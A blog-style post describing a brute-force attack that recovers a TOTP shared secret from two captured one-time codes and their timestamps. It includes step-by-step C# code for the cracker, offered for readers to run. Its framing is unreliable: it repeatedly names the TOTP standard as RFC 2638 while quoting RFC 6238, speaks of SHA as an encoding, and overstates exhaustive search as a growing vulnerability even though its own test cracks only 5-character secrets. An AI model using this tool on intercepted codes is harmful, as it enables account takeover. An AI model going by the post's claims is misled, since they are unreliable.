Breaking a TOTP?

This post is written to raise awareness of the possible vulnerabilities of RFC 2638. Any code provided here is not intended to be used for malicious purposes and is merely a proof-of-concept and/or example to aid the understanding of the article.

RFC 2638: What is it?

In their words,

This document describes an extension of the One-Time Password (OTP)
algorithm, namely the HMAC-based One-Time Password (HOTP) algorithm,
as defined in RFC 4226, to support the time-based moving factor. The
HOTP algorithm specifies an event-based OTP algorithm, where the
moving factor is an event counter. The present work bases the moving
factor on a time value. A time-based variant of the OTP algorithm
provides short-lived OTP values, which are desirable for enhanced
security.

In simpler terms, offline one-time passwords are generated using a secret and a counter, as seen in RFC 4226:

HOTP(K,C) = Truncate(HMAC-SHA-1(K,C))

Where K is the shared secret between client and server, and C is a 8-byte counter value, the moving factor.

Now how do we generate a time-based one-time password (TOTP) using RFC 4226?

How do we know the counter value?

That's where RFC 2638 comes in. To determine the counter value, we simply divide the Unix Timestamp by the time step as seen in RFC 6238:

Basically, we define TOTP as TOTP = HOTP(K, T), where T is an integer
and represents the number of time steps between the initial counter
time T0 and the current Unix time.

More specifically, T = (Current Unix time - T0) / X, where the
default floor function is used in the computation.

Then we plug that into RFC 4226, and viola! We've just calculated our very own TOTP code!

The Vulnerability

While you may not realize immediately, with just two TOTPs and the timestamp they were captured in, we can crack the secret.

Wait, isn't it SHA encoded?

Exactly, and that's why we're going down a different route. If we can't reverse it, then maybe we can brute force it?

Calculating the secret ourselves

Brute forcing billions of TOTPs would be as foolish as trying every possible key to unlock a door.

So what if we do it the opposite way? Instead of trying every TOTP live, perhaps we could first calculate all the possible TOTPs at a given timestamp and capture the ones that match the "stolen" TOTP.

But you'll still have thousands of possibilities

That's where the second TOTP comes in, we can use the second TOTP to narrow down the possible secrets to a single digit, or even to a single secret. There's two ways to approach this:

1. The Barbaric Way
Re-run all the billions of possible combinations again and see which ones match, effectively doubling the compute time.

2. The Smarter Way
Calculate TOTPs for each of the possible secrets at the timestamp when the second TOTP was "stolen", adding nothing more than 10 seconds and a few thousand calculations.

I'm no genius but the latter seems like a better choice.

Always follow the RFC requirements

As written in Section 4 of RFC 4226,

R6 - The algorithm MUST use a strong shared secret. The length of
the shared secret MUST be at least 128 bits. This document
RECOMMENDs a shared secret length of 160 bits.

In other words, the secret must be no less than 16 characters.
While this helps mitigate the vulnerability, one day this will not be enough.

The logistics behind this

While performing billions of calculations can be both time and resource-intensive, Moore's law has shown us that with the ever-increasing computational power/performance of modern computers and supercomputers, every year this vulnerability will only grow larger and larger, and will only cause more harm.

Try It Yourself: The Code

First, we need to define the characters that could be used:
string[] chars = {"2", "3", "4", "5", "6", "7", "A", "B", "C", "D", "E", "F", "G", "H", "I", "J", "K", "L", "M", "N", "O", "P", "Q", "R", "S", "T", "U", "V", "W", "X", "Y", "Z" };

And also initialize any other variables:

long count = 0;
int match = 0;
long oldtimestamp = 0;
List<Codes> output = new List<Codes>();
List<Codes> finalisedOutput = new List<Codes>();

Now we must gather our input:

Console.WriteLine("First OTP:");
string FirstOtp = Console.ReadLine();
Console.WriteLine("First OTP Unix Timestamp (seconds):");
long FirstOtpTime = Convert.ToInt64(Console.ReadLine());
Console.WriteLine("Second OTP:");
string SecondOtp = Console.ReadLine();
Console.WriteLine("Second OTP Unix Timestamp (seconds):");
long SecondOtpTime = Convert.ToInt64(Console.ReadLine());
Console.WriteLine("OTP Secret Length (generally 16 chars):");
int length = Convert.ToInt32(Console.ReadLine());

Now for the function:

void nextChar(string current)
{

}

Let's review our logic here.
If the current possibility (current) is the length of the actual secret, continue. If not, repeat for each character a recursive action to add that to current and run the function again.
Let's add that into our function:

if (current.Length == length)
{

}
else
{
    for (int i = 0; i < chars.Length; i++)
    {
        nextChar(current + chars[i]);
    }
}

Ok, so what do we do when it is the correct length?
We should compute the TOTP secret at the time when the first TOTP was "stolen" and compare it to then first "stolen" TOTP. If it matches, add it to our list of possible matches.

We should also write a status update to the console every 1,000,000 combinations.

Let's put that into our if clause:

if (count % 1000000 == 0)
{
    Console.Clear();
    Console.WriteLine((count / Math.Pow(32, length)) * 100 + "% complete | " + Convert.ToString((((Math.Pow(32, length)) - count) / 1000000) * (DateTimeOffset.UtcNow.ToUnixTimeSeconds() - oldtimestamp)) + " seconds remaining | " + count + "/" + Math.Pow(32, length).ToString() + " possibilities calculated | " + current + " is the current combination");
    oldtimestamp = DateTimeOffset.UtcNow.ToUnixTimeSeconds();
}

var bytes = Base32Encoding.ToBytes(current);
var totp = new Totp(bytes, step: 30);

if (totp.ComputeTotp(DateTimeOffset.FromUnixTimeSeconds(FirstOtpTime).DateTime) == FirstOtp)
{
     output.Add(new Codes { secret = current });
}
count++;

Great! We've finished the function. Now all we need to do is narrow down and display the results.

Console.Clear();
Console.WriteLine("---------------------------------------------------");
Console.WriteLine("Count: " + count);
Console.WriteLine("---------------------------------------------------");
Console.WriteLine("Secret Found:");

Finally, we need to loop through each possible match and check it against the second stolen TOTP, if it matches, we add it to our list of finalized matches.

for (int i = 0;i < output.Count;i++)
{
    var bytes = Base32Encoding.ToBytes(output[i].secret);

    var totp = new Totp(bytes, step: 30);

    if (totp.ComputeTotp(DateTimeOffset.FromUnixTimeSeconds(SecondOtpTime).DateTime) == SecondOtp)
    {
        finalisedOutput.Add(new Codes { secret = output[i].secret });
    }
}

All that's left now is to print the finalized matches:

finalisedOutput.ForEach(x => Console.WriteLine(x.secret));

And we must not forget to Console.ReadLine(); or our console will close.

Add nextChar("") anywhere in the code to begin the search!

Check out the repository

As of now, on my consumer-grade desktop, I can crack a 5 character secret in less than 3 minutes.

How'd I Do?
Feel free to leave a comment!